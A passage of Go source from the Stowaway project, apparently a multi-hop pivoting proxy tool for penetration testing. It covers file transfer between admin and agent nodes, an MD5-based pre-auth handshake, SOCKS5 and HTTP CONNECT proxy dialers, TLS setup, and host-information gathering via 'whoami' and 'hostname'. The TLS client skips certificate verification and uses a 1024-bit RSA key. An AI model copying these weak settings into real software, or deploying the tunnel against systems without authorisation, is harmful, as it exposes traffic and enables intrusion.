global.G_Component.Secret, global.G_Component.UUID) 121 | } else { 122 | sMessage = protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 123 | } 124 | 125 | header := &protocol.Header{ 126 | Sender: global.G_Component.UUID, 127 | Accepter: targetUUID, 128 | MessageType: protocol.FILESTATRES, 129 | RouteLen: uint32(len([]byte(route))), 130 | Route: route, 131 | } 132 | 133 | fileStatResSuccMess := &protocol.FileStatRes{ 134 | OK: 1, 135 | } 136 | 137 | fileStatResFailMess := &protocol.FileStatRes{ 138 | OK: 0, 139 | } 140 | 141 | defer func() { 142 | if err != nil { 143 | protocol.ConstructMessage(sMessage, header, fileStatResFailMess, false) 144 | sMessage.SendMessage() 145 | } 146 | }() 147 | 148 | fileHandler, err := os.Create(file.FileName) 149 | if err != nil { 150 | return err 151 | } 152 | 153 | file.Handler = fileHandler 154 | 155 | protocol.ConstructMessage(sMessage, header, fileStatResSuccMess, false) 156 | sMessage.SendMessage() 157 | 158 | return nil 159 | } 160 | 161 | func (file *MyFile) Upload(route string, targetUUID string, identity int) { 162 | var sMessage protocol.Message 163 | if identity == ADMIN { 164 | sMessage = protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 165 | } else { 166 | sMessage = protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 167 | } 168 | 169 | dataHeader := &protocol.Header{ 170 | Sender: global.G_Component.UUID, 171 | Accepter: targetUUID, 172 | MessageType: protocol.FILEDATA, 173 | RouteLen: uint32(len([]byte(route))), 174 | Route: route, 175 | } 176 | 177 | errHeader := &protocol.Header{ 178 | Sender: global.G_Component.UUID, 179 | Accepter: targetUUID, 180 | MessageType: protocol.FILEERR, 181 | RouteLen: uint32(len([]byte(route))), 182 | Route: route, 183 | } 184 | 185 | fileErrMess := &protocol.FileErr{ 186 | Error: 1, 187 | } 188 | 189 | if identity == ADMIN { 190 | fmt.Println("\n[*] File transmitting, please wait...") 191 | file.StatusChan <- &Status{Stat: START} 192 | } 193 | 194 | buffer := make([]byte, 30720) 195 | 196 | defer func() { 197 | if identity == ADMIN { 198 | file.StatusChan <- &Status{Stat: DONE} 199 | } 200 | runtime.GC() 201 | file.Handler.Close() 202 | }() 203 | 204 | for { 205 | length, err := file.Handler.Read(buffer) 206 | if err != nil && err != io.EOF { 207 | protocol.ConstructMessage(sMessage, errHeader, fileErrMess, false) 208 | sMessage.SendMessage() 209 | return 210 | } else if err != nil && err == io.EOF { 211 | return 212 | } 213 | 214 | fileDataMess := &protocol.FileData{ 215 | DataLen: uint64(length), 216 | Data: buffer[:length], 217 | } 218 | 219 | protocol.ConstructMessage(sMessage, dataHeader, fileDataMess, false) 220 | sMessage.SendMessage() 221 | 222 | if identity == ADMIN { 223 | file.StatusChan <- &Status{Stat: ADD, Scale: int64(length)} 224 | } 225 | } 226 | 227 | } 228 | 229 | func (file *MyFile) Receive(route string, targetUUID string, identity int) { 230 | if identity == ADMIN { 231 | fmt.Println("\n[*] File transmitting, please wait...") 232 | file.StatusChan <- &Status{Stat: START} 233 | } 234 | 235 | defer func() { 236 | if identity == ADMIN { 237 | file.StatusChan <- &Status{Stat: DONE} 238 | } 239 | runtime.GC() 240 | file.Handler.Close() 241 | }() 242 | 243 | for num := 0; num < int(file.SliceNum); num++ { 244 | select { 245 | case <-file.ErrChan: 246 | return 247 | case data := <-file.DataChan: 248 | if identity == ADMIN { 249 | file.StatusChan <- &Status{Stat: ADD, Scale: int64(len(data))} 250 | } 251 | file.Handler.Write(data) 252 | } 253 | } 254 | } 255 | 256 | func (file *MyFile) Ask4Download(route string, targetUUID string) { 257 | sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 258 | 259 | header := &protocol.Header{ 260 | Sender: global.G_Component.UUID, 261 | Accepter: targetUUID, 262 | MessageType: protocol.FILEDOWNREQ, 263 | RouteLen: uint32(len([]byte(route))), 264 | Route: route, 265 | } 266 | 267 | fileDownReqMess := &protocol.FileDownReq{ 268 | FilePathLen: uint32(len([]byte(file.FilePath))), 269 | FilePath: file.FilePath, 270 | FilenameLen: uint32(len([]byte(file.FileName))), 271 | Filename: file.FileName, 272 | } 273 | 274 | protocol.ConstructMessage(sMessage, header, fileDownReqMess, false) 275 | sMessage.SendMessage() 276 | } 277 | -------------------------------------------------------------------------------- /share/preauth.go: -------------------------------------------------------------------------------- 1 | package share 2 | 3 | import ( 4 | "errors" 5 | "io" 6 | "net" 7 | "time" 8 | 9 | "Stowaway/utils" 10 | ) 11 | 12 | var AuthToken string 13 | 14 | func GeneratePreAuthToken(secret string) { 15 | token := utils.GetStringMd5(secret) 16 | AuthToken = token[:16] 17 | } 18 | 19 | func ActivePreAuth(conn net.Conn) error { 20 | var NOT_VALID = errors.New("invalid secret, check the secret") 21 | var TIMEOUT = errors.New("connection timeout") 22 | 23 | defer conn.SetReadDeadline(time.Time{}) 24 | conn.SetReadDeadline(time.Now().Add(10 * time.Second)) 25 | 26 | conn.Write([]byte(AuthToken)) 27 | 28 | buffer := make([]byte, 16) 29 | count, err := io.ReadFull(conn, buffer) 30 | 31 | if timeoutErr, ok := err.(net.Error); ok && timeoutErr.Timeout() { 32 | conn.Close() 33 | return TIMEOUT 34 | } 35 | 36 | if err != nil { 37 | conn.Close() 38 | return errors.New(err.Error()) 39 | } 40 | 41 | if string(buffer[:count]) == AuthToken { 42 | return nil 43 | } 44 | 45 | conn.Close() 46 | 47 | return NOT_VALID 48 | } 49 | 50 | func PassivePreAuth(conn net.Conn) error { 51 | var NOT_VALID = errors.New("invalid secret, check the secret") 52 | var TIMEOUT = errors.New("connection timeout") 53 | 54 | defer conn.SetReadDeadline(time.Time{}) 55 | conn.SetReadDeadline(time.Now().Add(10 * time.Second)) 56 | 57 | buffer := make([]byte, 16) 58 | count, err := io.ReadFull(conn, buffer) 59 | 60 | if timeoutErr, ok := err.(net.Error); ok && timeoutErr.Timeout() { 61 | conn.Close() 62 | return TIMEOUT 63 | } 64 | 65 | if err != nil { 66 | conn.Close() 67 | return errors.New(err.Error()) 68 | } 69 | 70 | if string(buffer[:count]) == AuthToken { 71 | conn.Write([]byte(AuthToken)) 72 | return nil 73 | } 74 | 75 | conn.Close() 76 | 77 | return NOT_VALID 78 | } 79 | -------------------------------------------------------------------------------- /share/proxy.go: -------------------------------------------------------------------------------- 1 | package share 2 | 3 | import ( 4 | "encoding/binary" 5 | "errors" 6 | "fmt" 7 | "io" 8 | "net" 9 | "strconv" 10 | 11 | "Stowaway/utils" 12 | ) 13 | 14 | type Proxy interface { 15 | Dial() (net.Conn, error) 16 | } 17 | 18 | type Socks5Proxy struct { 19 | PeerAddr string 20 | ProxyAddr string 21 | UserName string 22 | Password string 23 | } 24 | 25 | func NewSocks5Proxy(peerAddr, proxyAddr, username, password string) *Socks5Proxy { 26 | proxy := new(Socks5Proxy) 27 | proxy.PeerAddr = peerAddr 28 | proxy.ProxyAddr = proxyAddr 29 | proxy.UserName = username 30 | proxy.Password = password 31 | return proxy 32 | } 33 | 34 | func (proxy *Socks5Proxy) Dial() (net.Conn, error) { 35 | var NOT_SUPPORT = errors.New("unknown protocol") 36 | var WRONG_AUTH = errors.New("wrong auth method") 37 | var SERVER_ERROR = errors.New("proxy server error") 38 | var TOO_LONG = errors.New("user/pass too long(max 255)") 39 | var AUTH_FAIL = errors.New("wrong username/password") 40 | 41 | proxyConn, err := net.Dial("tcp", proxy.ProxyAddr) 42 | if err != nil { 43 | return proxyConn, err 44 | } 45 | 46 | host, portS, err := net.SplitHostPort(proxy.PeerAddr) 47 | if err != nil { 48 | return proxyConn, err 49 | } 50 | portUint64, err := strconv.ParseUint(portS, 10, 16) 51 | if err != nil { 52 | return proxyConn, err 53 | } 54 | 55 | port := uint16(portUint64) 56 | portB := make([]byte, 2) 57 | binary.BigEndian.PutUint16(portB, port) 58 | // No Auth 59 | if proxy.UserName == "" && proxy.Password == "" { 60 | proxyConn.Write([]byte{0x05, 0x01, 0x00}) 61 | } else { 62 | // u and p 63 | proxyConn.Write([]byte{0x05, 0x01, 0x02}) 64 | } 65 | 66 | authWayBuf := make([]byte, 2) 67 | 68 | _, err = io.ReadFull(proxyConn, authWayBuf) 69 | if err != nil { 70 | return proxyConn, err 71 | } 72 | 73 | if authWayBuf[0] == 0x05 { 74 | switch authWayBuf[1] { 75 | case 0x00: 76 | case 0x02: 77 | userLen := len(proxy.UserName) 78 | passLen := len(proxy.Password) 79 | if userLen > 255 || passLen > 255 { 80 | return proxyConn, TOO_LONG 81 | } 82 | 83 | buff := make([]byte, 0, 3+userLen+passLen) 84 | buff = append(buff, 0x01, byte(userLen)) 85 | buff = append(buff, []byte(proxy.UserName)...) 86 | buff = append(buff, byte(passLen)) 87 | buff = append(buff, []byte(proxy.Password)...) 88 | proxyConn.Write(buff) 89 | 90 | responseBuf := make([]byte, 2) 91 | _, err = io.ReadFull(proxyConn, responseBuf) 92 | if err != nil { 93 | return proxyConn, err 94 | } 95 | 96 | if responseBuf[0] == 0x01 { 97 | if responseBuf[1] == 0x00 { 98 | break 99 | } else { 100 | return proxyConn, AUTH_FAIL 101 | } 102 | } else { 103 | return proxyConn, NOT_SUPPORT 104 | } 105 | case 0xff: 106 | return proxyConn, WRONG_AUTH 107 | default: 108 | return proxyConn, NOT_SUPPORT 109 | } 110 | 111 | var ( 112 | buff []byte 113 | ip net.IP 114 | ) 115 | isV4 := utils.CheckIfIP4(host) 116 | if isV4 { 117 | buff = make([]byte, 0, 10) 118 | ip = net.ParseIP(host).To4() 119 | buff = append(buff, []byte{0x05, 0x01, 0x00, 0x01}...) 120 | } else { 121 | buff = make([]byte, 0, 22) 122 | ip = net.ParseIP(host).To16() 123 | buff = append(buff, []byte{0x05, 0x01, 0x00, 0x04}...) 124 | } 125 | buff = append(buff, []byte(ip)...) 126 | buff = append(buff, portB...) 127 | proxyConn.Write(buff) 128 | 129 | respBuf := make([]byte, 4) 130 | _, err = io.ReadFull(proxyConn, respBuf) 131 | if err != nil { 132 | return proxyConn, err 133 | } 134 | if respBuf[0] == 0x05 { 135 | if respBuf[1] != 0x00 { 136 | return proxyConn, SERVER_ERROR 137 | } 138 | switch respBuf[3] { 139 | case 0x01: 140 | resultBuf := make([]byte, 6) 141 | _, err = io.ReadFull(proxyConn, resultBuf) 142 | case 0x04: 143 | resultBuf := make([]byte, 18) 144 | _, err = io.ReadFull(proxyConn, resultBuf) 145 | default: 146 | return proxyConn, NOT_SUPPORT 147 | } 148 | if err != nil { 149 | return proxyConn, err 150 | } 151 | 152 | return proxyConn, nil 153 | } else { 154 | return proxyConn, NOT_SUPPORT 155 | } 156 | } else { 157 | return proxyConn, NOT_SUPPORT 158 | } 159 | } 160 | 161 | type HTTPProxy struct { 162 | PeerAddr string 163 | ProxyAddr string 164 | } 165 | 166 | func NewHTTPProxy(peerAddr, proxyAddr string) *HTTPProxy { 167 | proxy := new(HTTPProxy) 168 | proxy.PeerAddr = peerAddr 169 | proxy.ProxyAddr = proxyAddr 170 | return proxy 171 | } 172 | 173 | func (proxy *HTTPProxy) Dial() (net.Conn, error) { 174 | var SERVER_ERROR = errors.New("proxy server error") 175 | var RESPONSE_TOO_LARGE = errors.New("http connect response is too large > 40KB") 176 | 177 | proxyConn, err := net.Dial("tcp", proxy.ProxyAddr) 178 | if err != nil { 179 | return proxyConn, SERVER_ERROR 180 | } 181 | 182 | var http_proxy_payload_template = "CONNECT %s HTTP/1.1\r\n" + 183 | "Content-Length: 0\r\n\r\n" 184 | var payload = fmt.Sprintf(http_proxy_payload_template, proxy.PeerAddr) 185 | var buf = []byte(payload) 186 | 187 | proxyConn.Write(buf) 188 | 189 | var done = "\r\n\r\n" 190 | var success = "HTTP/1.1 200" 191 | var begin = 0 192 | var resultBuf = make([]byte, 40960) 193 | 194 | for { 195 | count, err := proxyConn.Read(resultBuf[begin:]) 196 | if err != nil { 197 | return proxyConn, SERVER_ERROR 198 | } 199 | 200 | begin += count 201 | if begin >= 40960 { 202 | return proxyConn, RESPONSE_TOO_LARGE 203 | } 204 | 205 | if string(resultBuf[begin-4:begin]) == done { 206 | if string(resultBuf[:len(success)]) == success { 207 | return proxyConn, nil 208 | } 209 | return proxyConn, SERVER_ERROR 210 | } 211 | } 212 | } 213 | -------------------------------------------------------------------------------- /share/transport/tls.go: -------------------------------------------------------------------------------- 1 | package transport 2 | 3 | import ( 4 | "crypto/rand" 5 | "crypto/rsa" 6 | "crypto/tls" 7 | "crypto/x509" 8 | "encoding/pem" 9 | "math/big" 10 | "os" 11 | ) 12 | 13 | // Not used temporarily 14 | func newCustomTLSKeyPair(certfile, keyfile string) (*tls.Certificate, error) { 15 | tlsCert, err := tls.LoadX509KeyPair(certfile, keyfile) 16 | if err != nil { 17 | return nil, err 18 | } 19 | return &tlsCert, nil 20 | } 21 | 22 | func newRandomTLSKeyPair() *tls.Certificate { 23 | key, err := rsa.GenerateKey(rand.Reader, 1024) 24 | if err != nil { 25 | panic(err) 26 | } 27 | template := x509.Certificate{SerialNumber: big.NewInt(1)} 28 | certDER, err := x509.CreateCertificate( 29 | rand.Reader, 30 | &template, 31 | &template, 32 | &key.PublicKey, 33 | key) 34 | if err != nil { 35 | panic(err) 36 | } 37 | keyPEM := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(key)}) 38 | certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER}) 39 | 40 | tlsCert, err := tls.X509KeyPair(certPEM, keyPEM) 41 | if err != nil { 42 | panic(err) 43 | } 44 | return &tlsCert 45 | } 46 | 47 | // Not used temporarily 48 | // Only support one ca file to add 49 | func newCertPool(caPath string) (*x509.CertPool, error) { 50 | pool := x509.NewCertPool() 51 | 52 | caCrt, err := os.ReadFile(caPath) 53 | if err != nil { 54 | return nil, err 55 | } 56 | 57 | pool.AppendCertsFromPEM(caCrt) 58 | 59 | return pool, nil 60 | } 61 | 62 | func NewServerTLSConfig() (*tls.Config, error) { 63 | var base = &tls.Config{} 64 | 65 | // Not used temporarily 66 | 67 | // if certPath == "" || keyPath == "" { 68 | // // server will generate tls conf by itself 69 | // cert := newRandomTLSKeyPair() 70 | // base.Certificates = []tls.Certificate{*cert} 71 | // } else { 72 | // cert, err := newCustomTLSKeyPair(certPath, keyPath) 73 | // if err != nil { 74 | // return nil, err 75 | // } 76 | 77 | // base.Certificates = []tls.Certificate{*cert} 78 | // } 79 | 80 | // if caPath != "" { 81 | // pool, err := newCertPool(caPath) 82 | // if err != nil { 83 | // return nil, err 84 | // } 85 | 86 | // base.ClientAuth = tls.RequireAndVerifyClientCert 87 | // base.ClientCAs = pool 88 | // } 89 | 90 | cert := newRandomTLSKeyPair() 91 | base.Certificates = []tls.Certificate{*cert} 92 | 93 | return base, nil 94 | } 95 | 96 | func NewClientTLSConfig(serverName string) (*tls.Config, error) { 97 | var base = &tls.Config{} 98 | 99 | // Not used temporarily 100 | 101 | // if caPath != "" { 102 | // pool, err := newCertPool(caPath) 103 | // if err != nil { 104 | // return nil, err 105 | // } 106 | 107 | // base.RootCAs = pool 108 | // base.InsecureSkipVerify = false 109 | // } else { 110 | // base.InsecureSkipVerify = true 111 | // } 112 | 113 | base.InsecureSkipVerify = true 114 | base.ServerName = serverName 115 | 116 | return base, nil 117 | } 118 | -------------------------------------------------------------------------------- /share/transport/wrapper.go: -------------------------------------------------------------------------------- 1 | package transport 2 | 3 | import ( 4 | "crypto/tls" 5 | "net" 6 | ) 7 | 8 | func WrapTLSClientConn(c net.Conn, tlsConfig *tls.Config) (out net.Conn) { 9 | out = tls.Client(c, tlsConfig) 10 | return 11 | } 12 | 13 | func WrapTLSServerConn(c net.Conn, tlsConfig *tls.Config) (out net.Conn) { 14 | out = tls.Server(c, tlsConfig) 15 | return 16 | } 17 | -------------------------------------------------------------------------------- /utils/utils.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "crypto/md5" 5 | "encoding/hex" 6 | "errors" 7 | "math/rand" 8 | "os/exec" 9 | "runtime" 10 | "strconv" 11 | "strings" 12 | "time" 13 | 14 | "github.com/gofrs/uuid" 15 | "golang.org/x/text/encoding/simplifiedchinese" 16 | ) 17 | 18 | func GenerateUUID() string { 19 | u2, _ := uuid.NewV4() 20 | uu := strings.Replace(u2.String(), "-", "", -1) 21 | uuid := uu[11:21] 22 | return uuid 23 | } 24 | 25 | func GetStringMd5(s string) string { 26 | md5 := md5.New() 27 | md5.Write([]byte(s)) 28 | md5Str := hex.EncodeToString(md5.Sum(nil)) 29 | return md5Str 30 | } 31 | 32 | func StringSliceReverse(src []string) { 33 | if src == nil { 34 | return 35 | } 36 | count := len(src) 37 | mid := count / 2 38 | for i := 0; i < mid; i++ { 39 | tmp := src[i] 40 | src[i] = src[count-1] 41 | src[count-1] = tmp 42 | count-- 43 | } 44 | } 45 | 46 | func Str2Int(str string) (int, error) { 47 | num, err := strconv.ParseInt(str, 10, 32) 48 | return int(uint32(num)), err 49 | } 50 | 51 | func Int2Str(num int) string { 52 | b := strconv.Itoa(num) 53 | return b 54 | } 55 | 56 | func CheckSystem() (sysType uint32) { 57 | var os = runtime.GOOS 58 | switch os { 59 | case "windows": 60 | sysType = 0x01 61 | case "linux": 62 | sysType = 0x02 63 | default: 64 | sysType = 0x03 65 | } 66 | return 67 | } 68 | 69 | func GetSystemInfo() (string, string) { 70 | var os = runtime.GOOS 71 | switch os { 72 | case "windows": 73 | fallthrough 74 | case "linux": 75 | fallthrough 76 | case "darwin": 77 | hostname, err := exec.Command("hostname").Output() 78 | if err != nil { 79 | hostname = []byte("Null") 80 | } 81 | username, err := exec.Command("whoami").Output() 82 | if err != nil { 83 | username = []byte("Null") 84 | } 85 | 86 | fHostname := strings.TrimRight(string(hostname), " \t\r\n") 87 | fUsername := strings.TrimRight(string(username), " \t\r\n") 88 | 89 | return fHostname, fUsername 90 | default: 91 | return "NULL", "NULL" 92 | } 93 | } 94 | 95 | func CheckIPPort(info string) (normalAddr string, reuseAddr string, err error) { 96 | var ( 97 | readyIP string 98 | readyPort int 99 | ) 100 | 101 | spliltedInfo := strings.Split(info, ":") 102 | 103 | if len(spliltedInfo) == 1 { 104 | readyIP = "0.0.0.0" 105 | readyPort, err = strconv.Atoi(info) 106 | } else if len(spliltedInfo) == 2 { 107 | readyIP = spliltedInfo[0] 108 | readyPort, err = strconv.Atoi(spliltedInfo[1]) 109 | } else { 110 | err = errors.New("please input either port(1~65535) or ip:port(1-65535)") 111 | return 112 | } 113 | 114 | if err != nil || readyPort < 1 || readyPort > 65535 || readyIP == "" { 115 | err = errors.New("please input either port(1~65535) or ip:port(1-65535)") 116 | return 117 | } 118 | 119 | normalAddr = readyIP + ":" + strconv.Itoa(readyPort) 120 | reuseAddr = "0.0.0.0:" + strconv.Itoa(readyPort) 121 | 122 | return 123 | } 124 | 125 | func CheckIfIP4(ip string) bool { 126 | for i := 0; i < len(ip); i++ { 127 | switch ip[i] { 128 | case '.': 129 | return true 130 | case ':': 131 | return false 132 | } 133 | } 134 | return false 135 | } 136 | 137 | func CheckRange(nodes []int) { 138 | for m := len(nodes) - 1; m > 0; m-- { 139 | var flag bool = false 140 | for n := 0; n < m; n++ { 141 | if nodes[n] > nodes[n+1] { 142 | temp := nodes[n] 143 | nodes[n] = nodes[n+1] 144 | nodes[n+1] = temp 145 | flag = true 146 | } 147 | } 148 | if !flag { 149 | break 150 | } 151 | } 152 | } 153 | 154 | func GetDigitLen(num int) int { 155 | var length int 156 | for { 157 | num = num / 10 158 | if num != 0 { 159 | length++ 160 | } else { 161 | length++ 162 | return length 163 | } 164 | } 165 | } 166 | 167 | func GetRandomString(l int) string { 168 | str := "0123456789abcdefghijklmnopqrstuvwxyz" 169 | bytes := []byte(str) 170 | result := []byte{} 171 | r := rand.New(rand.NewSource(time.Now().UnixNano())) 172 | for i := 0; i < l; i++ { 173 | result = append(result, bytes[r.Intn(len(bytes))]) 174 | } 175 | return string(result) 176 | } 177 | 178 | func GetRandomInt(max int) int { 179 | r := rand.New(rand.NewSource(time.Now().UnixNano())) 180 | return r.Intn(max) 181 | } 182 | 183 | func ParseFileCommand(commands []string) (string, string, error) { 184 | if len(commands) == 2 { 185 | return commands[0], commands[1], nil 186 | } else if len(commands) > 2 { 187 | var count int 188 | full := strings.Join(commands, " ") 189 | 190 | for _, char := range full { 191 | if char == '"' { 192 | count++ 193 | } 194 | } 195 | 196 | print("count is ", count) 197 | 198 | if count > 0 && count%2 == 0 { 199 | var final []string 200 | for _, part := range strings.Split(full, "\"") { 201 | if ready := strings.Trim(part, " \t\r\n"); ready != "" { 202 | final = append(final, ready) 203 | } 204 | } 205 | 206 | if len(final) == 2 { 207 | return final[0], final[1], nil 208 | } else { 209 | return "", "", errors.New("wrong format") 210 | } 211 | } else { 212 | return "", "", errors.New("wrong format") 213 | } 214 | } 215 | 216 | return "", "", errors.New("not enough arguments") 217 | } 218 | 219 | func ConvertStr2GBK(str string) string { 220 | ret, err := simplifiedchinese.GBK.NewEncoder().String(str) 221 | if err != nil { 222 | ret = str 223 | } 224 | return ret 225 | } 226 | 227 | func ConvertGBK2Str(gbkStr string) string { 228 | ret, err := simplifiedchinese.GBK.NewDecoder().String(gbkStr) 229 | if err != nil { 230 | ret = gbkStr 231 | } 232 | return ret 233 | 234 | } 235 | --------------------------------------------------------------------------------